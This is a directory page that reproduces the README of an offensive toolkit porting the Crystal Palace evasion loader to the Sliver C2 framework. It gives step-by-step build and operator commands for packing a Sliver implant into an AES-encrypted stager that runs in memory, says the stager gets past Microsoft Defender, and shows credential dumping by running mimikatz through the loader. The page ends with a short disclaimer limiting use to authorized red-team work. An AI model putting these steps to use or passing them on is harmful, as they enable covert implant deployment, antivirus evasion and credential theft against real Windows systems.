Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CrystalSliver — Crystal Palace Evasion kit for Sliver | Kitploit
Tools/GitHubGitHub/licitrasimone/crystalsliver
Penetration Testing FrameworksPrivilege EscalationExploit FrameworksPersistence MechanismsIDS/IPS EvasionLateral MovementShellcodePost-ExploitationCommand and ControlRed TeamingShellcode GenerationPayload Development
1081472 months agoReviewed by Kitploit
GitHublicitrasimone/crystalsliver

CrystalSliver

Crystal Palace Evasion kit for Sliver

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

crystal-kit-sliver

Crystal Palace evasion kit ported to Sliver C2.

This is the first public port of rasta-mouse's Crystal-Kit (Cobalt Strike) to Sliver. It follows the same cross-C2 pattern proven by Crystal-Kit-Xenon (Mythic).

  • License: MIT — Copyright (c) 2026 Simone Licitra
  • Target: Windows x64 only (upstream constraint)
  • Status: verified end-to-end — Kali build pipeline + Windows 10 x64 FLARE-VM runtime. Sliver session established.

What it does

Replaces Sliver's default reflective loader and post-ex execution path with Crystal Palace (Raphael Mudge, BSD). The result is a position-independent code (PICO) blob that bundles:

  • ror13 hash-based API resolution (no plain LoadLibrary / GetProcAddress)
  • IAT hooks on VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA
Download Tool
  • Draugr call stack spoofing during callbacks
  • XOR sleep mask over the embedded DLL
  • libtcg-based runtime obfuscation

    • The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and only unmasked in memory at execution time.

    Two use cases

    A — Implant evasion (PRIMARY)

    The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory.

    root@kitploit:~
    sliver-server generate --format shared → impl.dll
        │
        ▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
        │
        ▼
bundle-stager.sh                   → csvchelper.exe (~17 KB, no embedded payload)
                                   → payload.dat    (~36 MB AES-256-CBC ciphertext)
        │
        ▼ deliver BOTH files to same directory on target
        ▼
Windows VM: csvchelper.exe
        │
        ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
        ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
        ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session

    B — Post-ex evasion (SECONDARY)

    Once a session is active, run sensitive DLLs (recon, credential dumpers, etc.) through Crystal Palace via a Sliver Extension.

    root@kitploit:~
    sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin

    Pass runtime args without a rebuild by appending them after |:

    root@kitploit:~
    sliver > crystal --payload C:/path/file.pico.bin|args here

    The crystal-loader.x64.dll is a Sliver DLL Extension that reads the PICO blob from disk into a VirtualAlloc(RW) region, flips it to RX with VirtualProtect, and jumps to the Crystal Palace entrypoint. No PAGE_EXECUTE_READWRITE mapping is ever held. Paths use forward slashes. Arg format is type:string (not BOF binary). The DLL is loaded in-memory by Sliver — it is not written as a file to the target disk.

    C — Built-in shell execution via Crystal Palace

    crystal-exec is a second command bundled in the same extension. It runs arbitrary shell commands through Crystal Palace evasion using a PICO embedded directly in the extension DLL — no PICO file to upload.

    root@kitploit:~
    sliver > crystal-exec --cmd "whoami /all"

    Output is returned to the operator over the existing Sliver session via a pipe. This is the fastest path for one-off shell commands when you do not need a full post-ex DLL.

    Repo layout

    root@kitploit:~
    crystal-kit-sliver/
├── loader/              ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/       ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip       ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/         ← Sliver-specific build glue
    ├── extension.json           Sliver Extension manifest
    ├── generate.sh              Wrap a post-ex DLL  → PICO (Use case B)
    ├── generate-implant.sh      Wrap a Sliver DLL   → PICO (Use case A)
    ├── bundle-implant.sh        Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
    ├── bundle-stager.sh         Build custom stager: csvchelper.exe + payload.dat (primary)
    ├── pack-extension.sh        Pack DLL + manifest into Sliver Extension tarball
    ├── Makefile                 make objects / package / clean
    ├── stager/                  Custom stager sources (AES-256-CBC, asInvoker manifest)
    └── wrapper/                 crystal-loader.c (BOF-compat DLL wrapper)

docs/
├── RUNBOOK.md           Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md       File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md         Build prerequisites and pipeline details

    Quick build (Kali / Debian / Ubuntu)

    root@kitploit:~
    # 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all

# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
   crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)

# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args:  postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh

# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh

    See docs/RUNBOOK.md for the full operator procedure (Sliver install, listener setup, target execution, troubleshooting).

    What is verified

    ItemStatusEvidence
    All Crystal-Kit sources compile under MinGW 15.2 + NASM 3.01OKmake all clean, 8 .o + 1 .bin per loader
    Xenon post-ex patches presentOKdfr "ror13", _DLLARGS_ section, dll_arguments param in DLL_PROCESS_ATTACH
    Crystal Palace CLI verifiedOK./link <spec> <dll> <out.bin> [%KEY=value] — positional, documented in dist/README
    End-to-end PICO build (Use case A)OK117 KB PICO produced from test DLL
    End-to-end PICO build (Use case B)OK111 KB PICO produced via postex-loader/loader.spec
    Sliver Extension wrapper DLL buildsOKcrystal-loader.x64.dll ~42 KB, crystal-exec.x64.dll ~75 KB — both PE32+ exporting Initialize symbol; no RWX; stripped
    Extension tarball packs correctlyOK37 KB tarball validated with tar -tzf
    Custom stager build (two-file delivery)OKbundle-stager.sh → csvchelper.exe (17 KB, entropy 4.784) + payload.dat (AES-256-CBC)
    Runtime execution on Windows (Use case A)OKSliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B)
    Runtime execution on Windows (Use case B)OKcrystal --payload C:/path/file.pico.bin — new Sliver session established via post-ex PICO; arg format verified as type:string, forward slash path
    crystal-exec commandOKShell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required

    Dependencies

    DependencyLicenseHow to obtainBundled?
    Crystal Palace (crystalpalace.jar, link, etc.)BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WGcurl -O https://tradecraftgarden.org/download/cpdist-latest.tgzNo (.gitignore excludes external/)
    libtcg.x64.zipUpstream binary, license unstated (likely QEMU TCG-derived)Copied from upstream Crystal-Kit repoYes, kept in tree for build convenience
    Sliver C2GPLv3https://sliver.shNo — runtime dependency only
    MinGW-w64 + NASMGPL-compatibleapt install or brew installNo

    This repository does NOT redistribute crystalpalace.jar. The build pipeline fetches it externally and references it via the CRYSTAL_PALACE_HOME environment variable.

    Attribution

    See NOTICE.md for the full list of upstream copyrights and licenses. Brief summary:

    • rasta-mouse — Crystal-Kit (MIT) — base reflective loader, postex loader, spec files
    • nickswink — Crystal-Kit-Xenon (MIT) — cross-C2 patch template (smart pointers removal + dll_args section)
    • Raphael Mudge / AFF-WG — Crystal Palace (BSD-3-Clause) — linker and PIC tooling
    • TrustedSec — COFFLoader (BSD-3-Clause) — BOF compatibility layer (beacon.h, beacon_compatibility.c/h)
    • BishopFox — Sliver C2 (GPLv3) — target framework

    Roadmap

    • 1 — Audit upstream repos + extract diff between Crystal-Kit and Crystal-Kit-Xenon
    • 2 — Toolchain documentation + repository scaffold
    • 3 — File-by-file porting map with literal diffs (docs/PORTING_MAP.md)
    • 4 — Sources copied + Xenon patches applied + LICENSE + NOTICE
    • 5 — sliver-glue/ glue scripts and Extension manifest
    • 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode
    • 6b — Crystal Palace CLI verified, real PICO built end-to-end
    • 6c — Dual use case A/B: generate-implant.sh + bundle-implant.sh
    • 6d — Runtime test on Windows x64 lab — Use case A verified (Sliver session established on FLARE-VM)
    • 6e — Use case B runtime verified (crystal --payload works, arg format fixed to type:string, forward slash path)
    • 6f — crystal-exec command: built-in post-ex shell execution via Crystal Palace (no upload required)
    • 6g — Runtime args via | separator for dynamic DLL args without rebuild

    Disclaimer

    Offensive security tooling intended for authorized red team engagements, lab research, and education. Use only in environments where you have written authorization. The author assumes no responsibility for misuse.